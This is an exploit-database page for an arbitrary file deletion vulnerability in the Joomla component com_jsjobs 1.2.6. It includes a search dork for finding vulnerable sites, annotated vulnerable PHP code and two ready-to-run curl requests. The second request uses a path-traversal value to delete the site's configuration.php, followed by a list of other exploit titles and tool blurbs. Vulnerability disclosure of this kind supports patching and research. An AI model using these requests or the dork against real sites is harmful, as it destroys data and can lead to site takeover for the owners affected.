Menu

Search for hundreds of thousands of exploits

"Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion"

Author

qw3rTyTy

Platform

php

Release date

2019-08-16

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# Exploit Title: Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion
# Dork: inurl:"index.php?option=com_jsjobs"
# Date: 2019-08-16
# Exploit Author: qw3rTyTy
# Vendor Homepage: https://www.joomsky.com/
# Software Link: https://www.joomsky.com/5/download/1
# Version: 1.2.6
# Tested on: Debian/nginx/joomla 3.9.0

# Vulnerability details:
# This vulnerability is caused when processing custom userfield.

File:		site/models/job.php
Function:	storeJob
Line:		1240
-------------------------------------

  1215	    //custom field code start
  1216	        $customflagforadd = false;
  1217	        $customflagfordelete = false;
  1218	        $custom_field_namesforadd = array();
  1219	        $custom_field_namesfordelete = array();
  1220	        $userfield = $this->getJSModel('customfields')->getUserfieldsfor(2);
  1221	        $params = array();
  1222	        $forfordelete = '';
  1223	        
  1224	        foreach ($userfield AS $ufobj) {
  1225	            $vardata = '';
  1226	            if($ufobj->userfieldtype == 'file'){
  1227	                if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 0){
  1228	                    $vardata = $data[$ufobj->field.'_2'];
  1229	                }else{
  1230	                    $vardata = $_FILES[$ufobj->field]['name'];
  1231	                }
  1232	                $customflagforadd=true;
  1233	                $custom_field_namesforadd[]=$ufobj->field;
  1234	            }else{
  1235	                $vardata = isset($data[$ufobj->field]) ? $data[$ufobj->field] : '';
  1236	            }
  1237	            if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
  1238	                $customflagfordelete = true;
  1239	                $forfordelete = $ufobj->field;
  1240	                $custom_field_namesfordelete[]= $data[$ufobj->field.'_2'];		//No check.
  1241	            }
  ...snip...
  1323	        // new
  1324	        //removing custom field 
  1325	        if($customflagfordelete == true){
  1326	            foreach ($custom_field_namesfordelete as $key) {
  1327	                $res = $this->getJSModel('common')->uploadOrDeleteFileCustom($row->id,$key ,1,2);		//!!!
  1328	            }
  1329	        }

File:		site/models/common.php
Function:	uploadOrDeleteFileCustom
Line:		851
-------------------------------------

   748	        $path = $base . '/' . $datadirectory;
   749	        if (!file_exists($path)) { // create user directory
   750	            $this->makeDir($path);
   751	        }
   752	        $isupload = false;
   753	        $path = $path . '/data';
   754	        if (!file_exists($path)) { // create user directory
   755	            $this->makeDir($path);
   756	        }
   757	        if($for == 3 )
   758	            $path = $path . '/jobseeker';
   759	        else
   760	            $path = $path . '/employer';
   761	
   762	        if (!file_exists($path)) { // create user directory
   763	            $this->makeDir($path);
   764	        }
   ...snip...
   843	        } else { // DELETE FILES
   844	            if ($isdeletefile == 1) {
   845	                if($for == 3){
   846	                    $userpath = $path . '/'.$datafor.'_' . $resumeid . '/customfiles/';
   847	                }else{
   848	                    $userpath = $path . '/'.$datafor.'_' . $id . '/customfiles/';
   849	                }
   850	                $file = $userpath.$field;
   851	                unlink($file);		//!!!
   852	            }
   853	            return 1;
   854	        }
   855	    }

#####################################
#PoC:
#####################################

# If an administrator has added custom userfield 'ufield926' as field type 'file', attacker are can trigger this vulnerability by send a following requests.

$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926=@./valid_image.jpg' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"

$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=666' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926_1=1' -F 'ufield926_2=../../../../../configuration.php' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"
Release Date Title Type Platform Author
2019-09-14 "College-Management-System 1.2 - Authentication Bypass" webapps php cakes
2019-09-14 "Ticket-Booking 1.4 - Authentication Bypass" webapps php cakes
2019-09-13 "LimeSurvey 3.17.13 - Cross-Site Scripting" webapps php "SEC Consult"
2019-09-13 "phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery" webapps php "Manuel García Cárdenas"
2019-09-13 "Dolibarr ERP-CRM 10.0.1 - 'User-Agent' Cross-Site Scripting" webapps php "Metin Yunus Kandemir"
2019-09-10 "WordPress Plugin Photo Gallery 1.5.34 - Cross-Site Scripting (2)" webapps php MTK
2019-09-10 "WordPress Plugin Photo Gallery 1.5.34 - Cross-Site Scripting" webapps php MTK
2019-09-10 "WordPress Plugin Photo Gallery 1.5.34 - SQL Injection" webapps php MTK
2019-09-10 "October CMS - Upload Protection Bypass Code Execution (Metasploit)" remote php Metasploit
2019-09-09 "Dolibarr ERP-CRM 10.0.1 - SQL Injection" webapps php "Metin Yunus Kandemir"
2019-09-09 "WordPress Plugin Sell Downloads 1.0.86 - Cross-Site Scripting" webapps php "Mr Winst0n"
2019-09-09 "Online Appointment - SQL Injection" webapps php "mohammad zaheri"
2019-09-09 "Dolibarr ERP-CRM 10.0.1 - 'elemid' SQL Injection" webapps php "Metin Yunus Kandemir"
2019-09-09 "WordPress 5.2.3 - Cross-Site Host Modification" webapps php "Todor Donev"
2019-09-06 "Inventory Webapp - 'itemquery' SQL injection" webapps php "mohammad zaheri"
2019-09-04 "WordPress Plugin Download Manager 2.9.93 - Cross-Site Scripting" webapps php MgThuraMoeMyint
2019-09-03 "FileThingie 2.5.7 - Arbitrary File Upload" webapps php cakes
2019-09-02 "Craft CMS 2.7.9/3.2.5 - Information Disclosure" webapps php "Mohammed Abdul Raheem"
2019-09-02 "Wordpress Plugin Event Tickets 4.10.7.1 - CSV Injection" webapps php MTK
2019-09-02 "Opencart 3.x - Cross-Site Scripting" webapps php "Nipun Somani"
2019-08-30 "WordPress Plugin WooCommerce Product Feed 2.2.18 - Cross-Site Scripting" webapps php "Damian Ebelties"
2019-08-30 "YouPHPTube 7.4 - Remote Code Execution" webapps php "Damian Ebelties"
2019-08-30 "DomainMod 4.13 - Cross-Site Scripting" webapps php "Damian Ebelties"
2019-08-30 "Sentrifugo 3.2 - Persistent Cross-Site Scripting" webapps php creosote
2019-08-30 "Sentrifugo 3.2 - File Upload Restriction Bypass" webapps php creosote
2019-08-29 "PilusCart 1.4.1 - Local File Disclosure" webapps php "Damian Ebelties"
2019-08-29 "Jobberbase 2.0 - 'subscribe' SQL Injection" webapps php "Damian Ebelties"
2018-10-31 "WordPress Plugin GoURL.io < 1.4.14 - File Upload" webapps php "Pouya Darabi"
2019-08-28 "Jobberbase 2.0 CMS - 'jobs-in' SQL Injection" webapps php "Naren Jangra"
2019-08-28 "SQLiteManager 1.2.0 / 1.2.4 - Blind SQL Injection" webapps php "Rafael Pedrero"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47281/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47281/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47281/41651/joomla-component-com-jsjobs-126-arbitrary-file-deletion/download/", "exploit_id": "47281", "exploit_description": "\"Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion\"", "exploit_date": "2019-08-16", "exploit_author": "qw3rTyTy", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications including basic vulnerability identification.

Browse exploit APIBrowse